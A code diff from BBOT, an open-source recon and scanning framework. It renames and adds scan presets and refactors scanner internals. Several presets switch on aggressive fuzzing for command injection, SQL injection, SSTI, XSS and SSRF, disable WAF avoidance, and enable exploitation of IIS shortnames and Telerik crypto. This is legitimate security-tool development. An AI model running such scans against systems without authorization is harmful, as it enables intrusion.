-        for theme_vuln in theme_json.get("vulnerabilities", []):
-            yield self.make_event(
-                {
-                    "severity": "HIGH",
-                    "host": str(source_event.host),
-                    "url": url,
-                    "description": self.vulnerability_to_s(theme_vuln),
-                },
-                "VULNERABILITY",
-                source_event,
-            )
-
-    def parse_wp_plugins(self, plugins_json, base_url, source_event):
-        for name, plugin in plugins_json.items():
-            url = plugin.get("location", base_url)
-            if url != base_url:
-                url_event = self.make_event(url, "URL_UNVERIFIED", parent=source_event, tags=["httpx-safe"])
-                if url_event:
-                    yield url_event
-            version = plugin.get("version", {}).get("number", "")
-            if version:
-                technology = f"{name} {version}"
-            else:
-                technology = name
-            yield self.make_event(
-                {"technology": str(technology).lower(), "url": url, "host": str(source_event.host)},
-                "TECHNOLOGY",
-                source_event,
-            )
-            for vuln in plugin.get("vulnerabilities", []):
-                yield self.make_event(
-                    {
-                        "severity": "HIGH",
-                        "host": str(source_event.host),
-                        "url": url,
-                        "description": self.vulnerability_to_s(vuln),
-                    },
-                    "VULNERABILITY",
-                    source_event,
-                )
-
-    def vulnerability_to_s(self, vuln_json):
-        string = []
-        title = vuln_json.get("title", "")
-        string.append(f"Title: {title}")
-        fixed_in = vuln_json.get("fixed_in", "")
-        string.append(f"Fixed in: {fixed_in}")
-        references = vuln_json.get("references", {})
-        if references:
-            cves = references.get("cve", [])
-            urls = references.get("url", [])
-            youtube_urls = references.get("youtube", [])
-            cves_list = []
-            for cve in cves:
-                cves_list.append(f"CVE-{cve}")
-            if cves_list:
-                string.append(f"CVEs: [{', '.join(cves_list)}]")
-            if urls:
-                string.append(f"References: [{', '.join(urls)}]")
-            if youtube_urls:
-                string.append(f"Youtube Links: [{', '.join(youtube_urls)}]")
-        return " ".join(string)
-
-    def get_base_url(self, event):
-        base_url = event.data.get("url", "")
-        if not base_url:
-            base_url = f"https://{event.host}"
-        return self.helpers.urlparse(base_url)._replace(path="/").geturl()
diff --git a/bbot/presets/baddns-heavy.yml b/bbot/presets/baddns-heavy.yml
new file mode 100644
index 0000000000..bb683a9d0a
--- /dev/null
+++ b/bbot/presets/baddns-heavy.yml
@@ -0,0 +1,21 @@
+description: Run all baddns modules and submodules.
+
+include:
+  - baddns
+
+modules:
+  - baddns_zone
+  - baddns_direct
+
+config:
+  modules:
+    baddns:
+      enabled_submodules: [CNAME, NS, MX, TXT, references, DMARC, SPF, MTA-STS, WILDCARD]
+      min_severity: INFO
+      min_confidence: UNKNOWN
+    baddns_zone:
+      min_severity: INFO
+      min_confidence: UNKNOWN
+    baddns_direct:
+      min_severity: INFO
+      min_confidence: UNKNOWN
diff --git a/bbot/presets/baddns-intense.yml b/bbot/presets/baddns-intense.yml
deleted file mode 100644
index 8afeebd3d9..0000000000
--- a/bbot/presets/baddns-intense.yml
+++ /dev/null
@@ -1,12 +0,0 @@
-description: Run all baddns modules and submodules.
-
-
-modules:
-  - baddns
-  - baddns_zone
-  - baddns_direct
-
-config:
-  modules:
-    baddns:
-      enabled_submodules: [CNAME,references,MX,NS,TXT]
diff --git a/bbot/presets/baddns.yml b/bbot/presets/baddns.yml
new file mode 100644
index 0000000000..d6e0cf76aa
--- /dev/null
+++ b/bbot/presets/baddns.yml
@@ -0,0 +1,11 @@
+description: Check for subdomain takeovers and other DNS issues.
+
+modules:
+  - baddns
+
+config:
+  modules:
+    baddns:
+      enabled_submodules: [CNAME, MX, TXT]
+      min_severity: LOW
+      min_confidence: MEDIUM
diff --git a/bbot/presets/kitchen-sink.yml b/bbot/presets/kitchen-sink.yml
index c01039099e..e53e902b7d 100644
--- a/bbot/presets/kitchen-sink.yml
+++ b/bbot/presets/kitchen-sink.yml
@@ -6,13 +6,23 @@ include:
   - code-enum
   - email-enum
   - spider
-  - web-basic
+  - web
   - paramminer
   - dirbust-light
   - web-screenshots
-  - baddns-intense
+  - baddns-heavy
 
 config:
   modules:
     baddns:
       enable_references: True
+    dnsbrute:
+      recursive_mutations: true
+    dnscommonsrv:
+      recursive_mutations: true
+    webbrute:
+      avoid_wafs: False
+    wayback:
+      urls: True
+      parameters: True
+      archive: True
diff --git a/bbot/presets/nuclei/nuclei-budget.yml b/bbot/presets/nuclei/nuclei-budget.yml
index d4ac5c8163..a290a11215 100644
--- a/bbot/presets/nuclei/nuclei-budget.yml
+++ b/bbot/presets/nuclei/nuclei-budget.yml
@@ -1,7 +1,7 @@
 description: Run nuclei scans against all discovered targets, using budget mode to look for low hanging fruit with greatly reduced number of requests
 
 modules:
-  - httpx
+  - http
   - nuclei
   - portfilter
 
diff --git a/bbot/presets/nuclei/nuclei-intense.yml b/bbot/presets/nuclei/nuclei-heavy.yml
similarity index 68%
rename from bbot/presets/nuclei/nuclei-intense.yml
rename to bbot/presets/nuclei/nuclei-heavy.yml
index 27f833c387..d185ecef55 100644
--- a/bbot/presets/nuclei/nuclei-intense.yml
+++ b/bbot/presets/nuclei/nuclei-heavy.yml
@@ -1,7 +1,7 @@
 description: Run nuclei scans against all discovered targets, allowing for spidering, against ALL URLs, and with additional discovery modules.
 
 modules:
-  - httpx
+  - http
   - nuclei
   - robots
   - urlscan
@@ -18,11 +18,11 @@ config:
 conditions:
   - |
     {% if config.web.spider_distance == 0 and config.modules.nuclei.directory_only == False %}
-      {{ warn("The 'nuclei-intense' preset turns the 'directory_only' limitation off on the nuclei module. To make the best use of this, you may want to enable spidering with 'spider' or 'spider-intense' preset.") }}
+      {{ warn("The 'nuclei-heavy' preset turns the 'directory_only' limitation off on the nuclei module. To make the best use of this, you may want to enable spidering with 'spider' or 'spider-heavy' preset.") }}
     {% endif %}
 
 
 # Example for also running a dirbust
 
 #include:
-#  - dirbust-light
\ No newline at end of file
+#  - dirbust-light
diff --git a/bbot/presets/nuclei/nuclei-technology.yml b/bbot/presets/nuclei/nuclei-technology.yml
index c2c4c8cf7a..fc63767f6d 100644
--- a/bbot/presets/nuclei/nuclei-technology.yml
+++ b/bbot/presets/nuclei/nuclei-technology.yml
@@ -1,7 +1,7 @@
 description: Run nuclei scans against all discovered targets, running templates which match discovered technologies
 
 modules:
-  - httpx
+  - http
   - nuclei
   - portfilter
 
diff --git a/bbot/presets/nuclei/nuclei.yml b/bbot/presets/nuclei/nuclei.yml
index d0d77978eb..fc1e34a4b3 100644
--- a/bbot/presets/nuclei/nuclei.yml
+++ b/bbot/presets/nuclei/nuclei.yml
@@ -1,7 +1,7 @@
 description: Run nuclei scans against all discovered targets
 
 modules:
-  - httpx
+  - http
   - nuclei
   - portfilter
 
diff --git a/bbot/presets/spider-intense.yml b/bbot/presets/spider-heavy.yml
similarity index 100%
rename from bbot/presets/spider-intense.yml
rename to bbot/presets/spider-heavy.yml
diff --git a/bbot/presets/spider.yml b/bbot/presets/spider.yml
index 9e98ff4539..b08998a396 100644
--- a/bbot/presets/spider.yml
+++ b/bbot/presets/spider.yml
@@ -1,7 +1,7 @@
 description: Recursive web spider
 
 modules:
-  - httpx
+  - http
 
 blacklist:
   # Prevent spider from invalidating sessions by logging out
diff --git a/bbot/presets/waf-bypass.yml b/bbot/presets/waf-bypass.yml
new file mode 100644
index 0000000000..4a4b7e06e5
--- /dev/null
+++ b/bbot/presets/waf-bypass.yml
@@ -0,0 +1,19 @@
+description: WAF bypass detection with subdomain enumeration
+
+flags:
+  # enable subdomain enumeration to find potential bypass targets
+  - subdomain-enum
+
+modules:
+  # explicitly enable the waf_bypass module for detection
+  - waf_bypass
+  # ensure http is enabled for web probing
+  - http
+
+config:
+  # waf_bypass module configuration
+  modules:
+    waf_bypass:
+      similarity_threshold: 0.90
+      search_ip_neighbors: true
+      neighbor_cidr: 24 
\ No newline at end of file
diff --git a/bbot/presets/wayback-heavy.yml b/bbot/presets/wayback-heavy.yml
new file mode 100644
index 0000000000..c72a735ccf
--- /dev/null
+++ b/bbot/presets/wayback-heavy.yml
@@ -0,0 +1,15 @@
+description: Full Wayback Machine integration - URL discovery, parameter extraction, archived page retrieval, and interesting file detection
+
+include:
+  - subdomain-enum
+
+modules:
+  - wayback
+  - badsecrets
+
+config:
+  modules:
+    wayback:
+      urls: True
+      parameters: True
+      archive: True
diff --git a/bbot/presets/wayback.yml b/bbot/presets/wayback.yml
new file mode 100644
index 0000000000..3404c7da51
--- /dev/null
+++ b/bbot/presets/wayback.yml
@@ -0,0 +1,12 @@
+description: Discover URLs and interesting archived files via the Wayback Machine
+
+include:
+  - subdomain-enum
+
+modules:
+  - wayback
+
+config:
+  modules:
+    wayback:
+      urls: True
diff --git a/bbot/presets/web-heavy.yml b/bbot/presets/web-heavy.yml
new file mode 100644
index 0000000000..4918aeff58
--- /dev/null
+++ b/bbot/presets/web-heavy.yml
@@ -0,0 +1,8 @@
+description: Aggressive web scan
+
+include:
+  # include the web preset
+  - web
+
+flags:
+  - web-heavy
diff --git a/bbot/presets/web-thorough.yml b/bbot/presets/web-thorough.yml
deleted file mode 100644
index 0294614f76..0000000000
--- a/bbot/presets/web-thorough.yml
+++ /dev/null
@@ -1,8 +0,0 @@
-description: Aggressive web scan
-
-include:
-  # include the web-basic preset
-  - web-basic
-
-flags:
-  - web-thorough
diff --git a/bbot/presets/web-basic.yml b/bbot/presets/web.yml
similarity index 82%
rename from bbot/presets/web-basic.yml
rename to bbot/presets/web.yml
index 166d973e94..0341ba036a 100644
--- a/bbot/presets/web-basic.yml
+++ b/bbot/presets/web.yml
@@ -4,4 +4,4 @@ include:
   - iis-shortnames
 
 flags:
-  - web-basic
+  - web
diff --git a/bbot/presets/web/dirbust-heavy.yml b/bbot/presets/web/dirbust-heavy.yml
index effba2554a..c9a21a3ad0 100644
--- a/bbot/presets/web/dirbust-heavy.yml
+++ b/bbot/presets/web/dirbust-heavy.yml
@@ -7,16 +7,17 @@ flags:
   - iis-shortnames
 
 modules:
-  - ffuf
+  - webbrute
   - wayback
 
 config:
   modules:
     iis_shortnames:
-      # we exploit the shortnames vulnerability to produce URL_HINTs which are consumed by ffuf_shortnames
+      # we exploit the shortnames vulnerability to produce URL_HINTs which are consumed by webbrute_shortnames
       detect_only: False
-    ffuf:
-      depth: 3
+    webbrute:
+      avoid_wafs: False
+      max_depth: 3
       lines: 5000
       extensions:
         - php
diff --git a/bbot/presets/web/dirbust-light.yml b/bbot/presets/web/dirbust-light.yml
index d088ee24ee..1b81d38429 100644
--- a/bbot/presets/web/dirbust-light.yml
+++ b/bbot/presets/web/dirbust-light.yml
@@ -4,10 +4,10 @@ include:
   - iis-shortnames
 
 modules:
-  - ffuf
+  - webbrute
 
 config:
   modules:
-    ffuf:
+    webbrute:
       # wordlist size = 1000
       lines: 1000
diff --git a/bbot/presets/web/dotnet-audit.yml b/bbot/presets/web/dotnet-audit.yml
index 581c26c7ab..2cf50db9d3 100644
--- a/bbot/presets/web/dotnet-audit.yml
+++ b/bbot/presets/web/dotnet-audit.yml
@@ -5,10 +5,10 @@ include:
   - iis-shortnames
 
 modules:
-  - httpx
+  - http
   - badsecrets
-  - ffuf_shortnames
-  - ffuf
+  - webbrute_shortnames
+  - webbrute
   - telerik
   - ajaxpro
   - dotnetnuke
@@ -16,10 +16,10 @@ modules:
 
 config:
   modules:
-    ffuf:
+    webbrute:
       extensions: asp,aspx,ashx,asmx,ascx
-      extensions_ignore_case: True
-    ffuf_shortnames:
+      ignore_case: True
+    webbrute_shortnames:
       find_subwords: True
     telerik:
       exploit_RAU_crypto: True
diff --git a/bbot/presets/web/lightfuzz-heavy.yml b/bbot/presets/web/lightfuzz-heavy.yml
index ba2d7ff8f6..c67474af1e 100644
--- a/bbot/presets/web/lightfuzz-heavy.yml
+++ b/bbot/presets/web/lightfuzz-heavy.yml
@@ -1,18 +1,22 @@
-description: Discover web parameters and lightly fuzz them for vulnerabilities, with more intense discovery techniques, including POST parameters, which are more invasive. Uses all lightfuzz modules, and adds paramminer modules for parameter discovery. Avoids running against confirmed WAFs.
+description: "Aggressive fuzzing: everything in lightfuzz, plus paramminer brute-force parameter discovery (headers, GET params, cookies), POST request fuzzing enabled, try_get_as_post enabled (GET params retested as POST), and robots.txt parsing. Still skips confirmed WAFs."
 
 include:
-  - lightfuzz-medium
+  - lightfuzz
 
 flags:
   - web-paramminer
 
 modules:
   - robots
+  - wayback
 
 config:
   modules:
     lightfuzz:
-      enabled_submodules: [cmdi,crypto,path,serial,sqli,ssti,xss,esi]
+      enabled_submodules: [cmdi,crypto,path,serial,sqli,ssti,xss,esi,ssrf]
       disable_post: False
       try_post_as_get: True
       try_get_as_post: True
+    wayback:
+      urls: True
+      parameters: True
diff --git a/bbot/presets/web/lightfuzz-light.yml b/bbot/presets/web/lightfuzz-light.yml
index 85bd2a81a1..1c209e2942 100644
--- a/bbot/presets/web/lightfuzz-light.yml
+++ b/bbot/presets/web/lightfuzz-light.yml
@@ -1,7 +1,7 @@
-description: Discover web parameters and lightly fuzz them for vulnerabilities, with only the most common vulnerabilities and minimal extra modules. Safest to run alongside larger scans.
+description: "Minimal fuzzing: only path traversal, SQLi, and XSS submodules. No POST requests. No companion modules. Safest option for running alongside larger scans with minimal overhead."
 
 modules:
-  - httpx
+  - http
   - lightfuzz
   - portfilter
   
@@ -17,5 +17,5 @@ config:
 conditions:
 - |
   {% if config.web.spider_distance == 0 %}
-    {{ warn("Lightfuzz works much better with spider enabled! Consider adding 'spider' or 'spider-intense' preset.") }}
+    {{ warn("Lightfuzz works much better with spider enabled! Consider adding 'spider' or 'spider-heavy' preset.") }}
   {% endif %}
diff --git a/bbot/presets/web/lightfuzz-max.yml b/bbot/presets/web/lightfuzz-max.yml
new file mode 100644
index 0000000000..7906f3bb71
--- /dev/null
+++ b/bbot/presets/web/lightfuzz-max.yml
@@ -0,0 +1,19 @@
+description: "Maximum fuzzing: everything in lightfuzz-heavy, plus the heavy paramminer variant (1-3 letter brute-force on GET params, case mutation on case-sensitive backends, recycle_words on all paramminer modules), WAF targets are no longer skipped, each unique parameter-value pair is fuzzed individually (no collapsing), common headers like X-Forwarded-For are fuzzed even if not observed, and potential parameters are speculated from JSON/XML response bodies. Significantly increases scan time."
+
+include:
+  - lightfuzz-heavy
+  - paramminer-heavy
+
+config:
+  url_querystring_collapse: False # in cases where the same parameter is observed multiple times, fuzz them individually instead of collapsing them into a single parameter
+  modules:
+    lightfuzz:
+      force_common_headers: True # Fuzz common headers like X-Forwarded-For even if they're not observed on the target
+      enabled_submodules: [cmdi,crypto,path,serial,sqli,ssti,xss,esi,ssrf]
+      avoid_wafs: False
+    excavate:
+      speculate_params: True # speculate potential parameters extracted from JSON/XML web responses
+    wayback:
+      urls: True
+      parameters: True
+      archive: True
diff --git a/bbot/presets/web/lightfuzz-medium.yml b/bbot/presets/web/lightfuzz-medium.yml
deleted file mode 100644
index df714ee722..0000000000
--- a/bbot/presets/web/lightfuzz-medium.yml
+++ /dev/null
@@ -1,15 +0,0 @@
-description: Discover web parameters and lightly fuzz them for vulnerabilities. Uses all lightfuzz modules, without some of the more intense discovery techniques. Does not send POST requests. This is the default lightfuzz preset; if you're not sure which one to use, this is a good starting point. Avoids running against confirmed WAFs.
-
-include:
-  - lightfuzz-light
-
-modules:
-  - badsecrets
-  - hunt
-  - reflected_parameters
-  
-config:
-  modules:
-    lightfuzz:
-      enabled_submodules: [cmdi,crypto,path,serial,sqli,ssti,xss,esi]
-      try_post_as_get: True
diff --git a/bbot/presets/web/lightfuzz-superheavy.yml b/bbot/presets/web/lightfuzz-superheavy.yml
deleted file mode 100644
index f05389d2c1..0000000000
--- a/bbot/presets/web/lightfuzz-superheavy.yml
+++ /dev/null
@@ -1,14 +0,0 @@
-description: Discover web parameters and lightly fuzz them for vulnerabilities, with the most intense discovery techniques, including POST parameters, which are more invasive. Uses all lightfuzz modules, adds paramminer modules for parameter discovery, and tests each unique parameter-value instance individually.
-
-include:
-  - lightfuzz-heavy
-
-config:
-  url_querystring_collapse: False # in cases where the same parameter is observed multiple times, fuzz them individually instead of collapsing them into a single parameter
-  modules:
-    lightfuzz:
-      force_common_headers: True # Fuzz common headers like X-Forwarded-For even if they're not observed on the target
-      enabled_submodules: [cmdi,crypto,path,serial,sqli,ssti,xss,esi]
-      avoid_wafs: False
-    excavate:
-      speculate_params: True # speculate potential parameters extracted from JSON/XML web responses
diff --git a/bbot/presets/web/lightfuzz-xss.yml b/bbot/presets/web/lightfuzz-xss.yml
index 83354cd291..c3bf35fcdb 100644
--- a/bbot/presets/web/lightfuzz-xss.yml
+++ b/bbot/presets/web/lightfuzz-xss.yml
@@ -1,7 +1,7 @@
-description: Discover web parameters and lightly fuzz them, limited to just GET-based xss vulnerabilities. Avoids running against confirmed WAFs. This is an example of a custom lightfuzz preset, selectively enabling a single lightfuzz module.
+description: "XSS-only: enables only the xss submodule with paramminer_getparams and reflected_parameters. POST disabled, no query string collapsing. Example of a focused single-submodule preset."
 
 modules:
-  - httpx
+  - http
   - lightfuzz
   - paramminer_getparams
   - reflected_parameters
@@ -18,5 +18,5 @@ config:
 conditions:
   - |
     {% if config.web.spider_distance == 0 %}
-      {{ warn("The lightfuzz-xss preset works much better with spider enabled! Consider adding 'spider' or 'spider-intense' preset.") }}
+      {{ warn("The lightfuzz-xss preset works much better with spider enabled! Consider adding 'spider' or 'spider-heavy' preset.") }}
     {% endif %}
diff --git a/bbot/presets/web/lightfuzz.yml b/bbot/presets/web/lightfuzz.yml
new file mode 100644
index 0000000000..49c4e16567
--- /dev/null
+++ b/bbot/presets/web/lightfuzz.yml
@@ -0,0 +1,15 @@
+description: "Default fuzzing: all 9 submodules (cmdi, crypto, path, serial, sqli, ssti, xss, esi, ssrf) plus companion modules (badsecrets, hunt, reflected_parameters). POST fuzzing disabled but try_post_as_get enabled, so POST params are retested as GET. Skips confirmed WAFs."
+
+include:
+  - lightfuzz-light
+
+modules:
+  - badsecrets
+  - hunt
+  - reflected_parameters
+  
+config:
+  modules:
+    lightfuzz:
+      enabled_submodules: [cmdi,crypto,path,serial,sqli,ssti,xss,esi,ssrf]
+      try_post_as_get: True
diff --git a/bbot/presets/web/paramminer-heavy.yml b/bbot/presets/web/paramminer-heavy.yml
new file mode 100644
index 0000000000..aeed597848
--- /dev/null
+++ b/bbot/presets/web/paramminer-heavy.yml
@@ -0,0 +1,15 @@
+description: "Aggressive paramminer brute-force: enables 1-3 letter combination brute-force on GET parameters and case mutation (camelCase / Title-case variants) on case-sensitive backends. Significantly increases scan time."
+
+include:
+  - paramminer
+
+config:
+  modules:
+    paramminer_getparams:
+      brute_short: True
+      mutate_case: True
+      recycle_words: True
+    paramminer_headers:
+      recycle_words: True
+    paramminer_cookies:
+      recycle_words: True
diff --git a/bbot/presets/web/paramminer.yml b/bbot/presets/web/paramminer.yml
index 3057a1b3a9..5b6bd4dec3 100644
--- a/bbot/presets/web/paramminer.yml
+++ b/bbot/presets/web/paramminer.yml
@@ -4,12 +4,12 @@ flags:
   - web-paramminer
 
 modules:
-  - httpx
+  - http
   - reflected_parameters
   - hunt
 
 conditions:
   - |
     {% if config.web.spider_distance == 0 %}
-      {{ warn("The paramminer preset works much better with spider enabled! Consider adding 'spider' or 'spider-intense' preset.") }}
+      {{ warn("The paramminer preset works much better with spider enabled! Consider adding 'spider' or 'spider-heavy' preset.") }}
     {% endif %}
\ No newline at end of file
diff --git a/bbot/presets/web/virtualhost-heavy.yml b/bbot/presets/web/virtualhost-heavy.yml
new file mode 100644
index 0000000000..dc606b80f3
--- /dev/null
+++ b/bbot/presets/web/virtualhost-heavy.yml
@@ -0,0 +1,11 @@
+description: "Aggressive virtual host discovery: everything in virtualhost, plus special-host probing, certificate SAN extraction, and wordcloud-driven candidate testing."
+
+include:
+  - virtualhost
+
+config:
+  modules:
+    virtualhost:
+      special_hosts: True
+      certificate_sans: True
+      wordcloud_check: True
diff --git a/bbot/presets/web/virtualhost.yml b/bbot/presets/web/virtualhost.yml
new file mode 100644
index 0000000000..d8f1374abc
--- /dev/null
+++ b/bbot/presets/web/virtualhost.yml
@@ -0,0 +1,4 @@
+description: "Virtual host discovery: subdomain brute-force and mutations against the target host's Host header / SNI."
+
+modules:
+  - virtualhost
diff --git a/bbot/scanner/__init__.py b/bbot/scanner/__init__.py
index 17338fd73e..24bedbe1a4 100644
--- a/bbot/scanner/__init__.py
+++ b/bbot/scanner/__init__.py
@@ -1,4 +1,33 @@
-from .preset import Preset
+from .preset import (
+    BaseModuleConfig,
+    BBOTConfig,
+    DepsConfig,
+    DepsToolConfig,
+    DnsConfig,
+    EngineConfig,
+    Preset,
+    PresetSchema,
+    PresetValidationError,
+    ScopeConfig,
+    WebConfig,
+    validate_preset,
+    validate_preset_file,
+)
 from .scanner import Scanner
 
-__all__ = ["Preset", "Scanner"]
+__all__ = [
+    "BBOTConfig",
+    "BaseModuleConfig",
+    "DepsConfig",
+    "DepsToolConfig",
+    "DnsConfig",
+    "EngineConfig",
+    "Preset",
+    "PresetSchema",
+    "PresetValidationError",
+    "Scanner",
+    "ScopeConfig",
+    "WebConfig",
+    "validate_preset",
+    "validate_preset_file",
+]
diff --git a/bbot/scanner/dispatcher.py b/bbot/scanner/dispatcher.py
index a9c56c2b72..efd3270903 100644
--- a/bbot/scanner/dispatcher.py
+++ b/bbot/scanner/dispatcher.py
@@ -1,7 +1,6 @@
 import logging
 import traceback
-
-log = logging.getLogger("bbot.scanner.dispatcher")
+import contextlib
 
 
 class Dispatcher:
@@ -11,6 +10,7 @@ class Dispatcher:
 
     def set_scan(self, scan):
         self.scan = scan
+        self.log = logging.getLogger("bbot.scanner.dispatcher")
 
     async def on_start(self, scan):
         return
@@ -24,9 +24,10 @@ async def on_status(self, status, scan_id):
         """
         self.scan.debug(f"Setting scan status to {status}")
 
-    async def catch(self, callback, *args, **kwargs):
+    @contextlib.contextmanager
+    def catch(self):
         try:
-            return await callback(*args, **kwargs)
+            yield
         except Exception as e:
-            log.error(f"Error in {callback.__qualname__}(): {e}")
-            log.trace(traceback.format_exc())
+            self.log.error(f"Error in dispatcher: {e}")
+            self.log.trace(traceback.format_exc())
diff --git a/bbot/scanner/manager.py b/bbot/scanner/manager.py
index 14b117ddce..b38ed07396 100644
--- a/bbot/scanner/manager.py
+++ b/bbot/scanner/manager.py
@@ -1,6 +1,6 @@
 import asyncio
 from contextlib import suppress
-from radixtarget.helpers import host_size_key
+from radixtarget import host_size_key
 
 from bbot.modules.base import BaseInterceptModule
 
@@ -48,18 +48,21 @@ async def init_events(self, event_seeds=None):
             event_seeds = sorted(event_seeds, key=lambda e: (host_size_key(str(e.host)), e.data))
             # queue root scan event
             await self.queue_event(root_event, {})
-            target_module = self.scan._make_dummy_module(name="TARGET", _type="TARGET")
-            # queue each target in turn
+            target_module = self.scan._make_dummy_module(name="SEED", _type="SEED")
+            # queue each seed in turn
             for event_seed in event_seeds:
                 event = self.scan.make_event(
                     event_seed.data,
                     event_seed.type,
                     parent=root_event,
                     module=target_module,
-                    context=f"Scan {self.scan.name} seeded with " + "{event.type}: {event.data}",
-                    tags=["target"],
+                    context=f"Scan {self.scan.name} seeded with " + "{event.type}: {event.pretty_string}",
+                    tags=["seed"],
                 )
-                self.verbose(f"Target: {event}")
+                # If the seed is also in the target scope, add the target tag
+                if self.scan.in_target(event):
+                    event.add_tag("target")
+                self.verbose(f"Seed: {event}")
                 # don't fill up the queue with too many events
                 while self.incoming_event_queue.qsize() > 100:
                     await asyncio.sleep(0.2)
@@ -113,9 +116,9 @@ async def handle_event(self, event, **kwargs):
 
         # Scope shepherding
         # here is where we make sure in-scope events are set to their proper scope distance
+
         if event.host:
-            event_whitelisted = self.scan.whitelisted(event)
-            if event_whitelisted:
+            if self.scan.in_target(event):
                 self.debug(f"Making {event} in-scope because its main host matches the scan target")
                 event.scope_distance = 0
 
@@ -142,6 +145,10 @@ def module_priority_weights(self):
         return self._module_priority_weights
 
     async def get_incoming_event(self):
+        # memory-pressure backpressure: scan-level delay scales 0s→5s as memory crosses 90→95%.
+        # delay is 0 in the common case so this is a near-free check.
+        if self.scan._ingress_delay > 0:
+            await asyncio.sleep(self.scan._ingress_delay)
         for q in self.helpers.weighted_shuffle(self.incoming_queues, self.module_priority_weights):
             try:
                 return q.get_nowait()
@@ -149,6 +156,9 @@ async def get_incoming_event(self):
                 continue
         raise asyncio.queues.QueueEmpty()
 
+    async def _event_postcheck(self, event):
+        return await self._event_postcheck_inner(event)
+
     def is_incoming_duplicate(self, event, add=False):
         """
         Calculate whether an event is a duplicate in the context of the module that emitted it
@@ -264,7 +274,21 @@ async def forward_event(self, event, kwargs):
         if -1 < event.scope_distance < 1:
             self.scan.word_cloud.absorb_event(event)
 
-        for mod in self.scan.modules.values():
+        # Hold a sentinel on _module_consumers during distribution so it
+        # never transiently hits 0 between sequential queue_event() awaits
+        # (which would let a fast module's _minimize() strip fields that
+        # slower modules still need).
+        event._module_consumers += 1
+        for module in self.scan.modules.values():
             # don't distribute events to intercept modules
-            if not mod._intercept:
-                await mod.queue_event(event)
+            if module._intercept:
+                continue
+            # graph-important events are duplicates re-emitted only to preserve graph structure.
+            # a module that isn't graph-preserving and doesn't accept dupes would just drop them
+            # at its postcheck, so skip queueing entirely and avoid the churn (outcome unchanged)
+            if event._graph_important and not (module.preserve_graph or module.accept_dupes):
+                continue
+            await module.queue_event(event)
+
+        # release the sentinel; _minimize() decrements and strips if count hits 0
+        event._minimize()
diff --git a/bbot/scanner/preset/__init__.py b/bbot/scanner/preset/__init__.py
index 063f3659d2..fb2e423dfd 100644
--- a/bbot/scanner/preset/__init__.py
+++ b/bbot/scanner/preset/__init__.py
@@ -1,3 +1,30 @@
+from bbot.core.config.models import (
+    BaseModuleConfig,
+    BBOTConfig,
+    DepsConfig,
+    DepsToolConfig,
+    DnsConfig,
+    EngineConfig,
+    PresetSchema,
+    ScopeConfig,
+    WebConfig,
+)
+
 from .preset import Preset
+from .validate import PresetValidationError, validate_preset, validate_preset_file
 
-__all__ = ["Preset"]
+__all__ = [
+    "BBOTConfig",
+    "BaseModuleConfig",
+    "DepsConfig",
+    "DepsToolConfig",
+    "DnsConfig",
+    "EngineConfig",
+    "Preset",
+    "PresetSchema",
+    "PresetValidationError",
+    "ScopeConfig",
+    "WebConfig",
+    "validate_preset",
+    "validate_preset_file",
+]
diff --git a/bbot/scanner/preset/args.py b/bbot/scanner/preset/args.py
index b018fe395c..b5a242e6bb 100644
--- a/bbot/scanner/preset/args.py
+++ b/bbot/scanner/preset/args.py
@@ -1,27 +1,51 @@
-import re
+import os
 import logging
 import argparse
-from omegaconf import OmegaConf
 
 from bbot.errors import *
-from bbot.core.helpers.misc import chain_lists, get_closest_match, get_keys_in_dot_syntax
-
-log = logging.getLogger("bbot.presets.args")
+from bbot.core.config.merge import dotted_set
+from bbot.core.config.models import coerce_value
+from bbot.core.helpers.misc import chain_lists
+
+
+def _parse_cli_value(raw: str, adapter=None):
+    """Parse the RHS of a `-c a.b.c=value` argument.
+
+    `adapter` is the target field's pydantic TypeAdapter (from the config type
+    index), or None when the field is unknown. Coercion follows the declared type:
+    string fields keep the literal text (lossless), bool fields produce a real bool,
+    int/float fields parse via YAML, and unknown fields fall back to plain YAML
+    coercion.
+    """
+    if raw == "":
+        return ""
+    return coerce_value(raw, adapter)
+
+
+def parse_dotted_cli(entries, index=None):
+    """Parse one or more `a.b.c=value` strings into a nested dict.
+
+    If `index` (the config type index from `MODULE_LOADER.config_type_index`) is
+    provided, each value is coerced toward its declared type so string fields keep
+    their literal text and typed fields get real typed values.
+    """
+    result: dict = {}
+    for entry in entries:
+        if "=" not in entry:
+            raise ValueError(f'Expected "key=value" (got {entry!r})')
+        path, _, raw = entry.partition("=")
+        path = path.strip()
+        if not path:
+            raise ValueError(f'Empty key in "{entry}"')
+        adapter = index.get(path) if index is not None else None
+        dotted_set(result, path, _parse_cli_value(raw.strip(), adapter))
+    return result
 
 
-universal_module_options = {
-    "batch_size": "The number of events to process in a single batch (only applies to batch modules)",
-    "module_threads": "How many event handlers to run in parallel",
-    "module_timeout": "Max time in seconds to spend handling each event or batch of events",
-}
+log = logging.getLogger("bbot.presets.args")
 
 
 class BBOTArgs:
-    # module config options to exclude from validation
-    exclude_from_validation = re.compile(
-        r".*modules\.[a-z0-9_]+\.(?:" + "|".join(universal_module_options.keys()) + ")$"
-    )
-
     scan_examples = [
         (
             "Subdomains",
@@ -41,7 +65,7 @@ class BBOTArgs:
         (
             "Subdomains + basic web scan",
             "A basic web scan includes robots.txt, storage buckets, IIS shortnames, and other non-intrusive web modules",
-            "bbot -t evilcorp.com -p subdomain-enum web-basic",
+            "bbot -t evilcorp.com -p subdomain-enum web",
         ),
         (
             "Web spider",
@@ -105,9 +129,12 @@ def parsed(self):
     def preset_from_args(self):
         # the order here is important
         # first we make the preset
+        # -t/--targets becomes target (defines target, what in_target() checks)
+        # -s/--seeds becomes seeds (drives passive modules), defaults to targets if not specified
+        seeds = self.parsed.seeds if self.parsed.seeds is not None else self.parsed.targets
         args_preset = self.preset.__class__(
-            *self.parsed.targets,
-            whitelist=self.parsed.whitelist,
+            *(self.parsed.targets or []),
+            seeds=seeds if seeds else None,
             blacklist=self.parsed.blacklist,
             name="args_preset",
         )
@@ -132,6 +159,7 @@ def preset_from_args(self):
 
         # modules + flags
         args_preset.exclude_modules.update(set(self.parsed.exclude_modules))
+        args_preset.exclude_output_modules.update(set(self.parsed.exclude_output_modules))
         args_preset.exclude_flags.update(set(self.parsed.exclude_flags))
         args_preset.require_flags.update(set(self.parsed.require_flags))
         args_preset.explicit_scan_modules.update(set(self.parsed.modules))
@@ -147,6 +175,8 @@ def preset_from_args(self):
             )
         if self.parsed.event_types:
             args_preset.core.merge_custom({"modules": {"stdout": {"event_types": self.parsed.event_types}}})
+        if self.parsed.no_color:
+            os.environ["NO_COLOR"] = "1"
         if self.parsed.exclude_cdn:
             args_preset.explicit_scan_modules.add("portfilter")
 
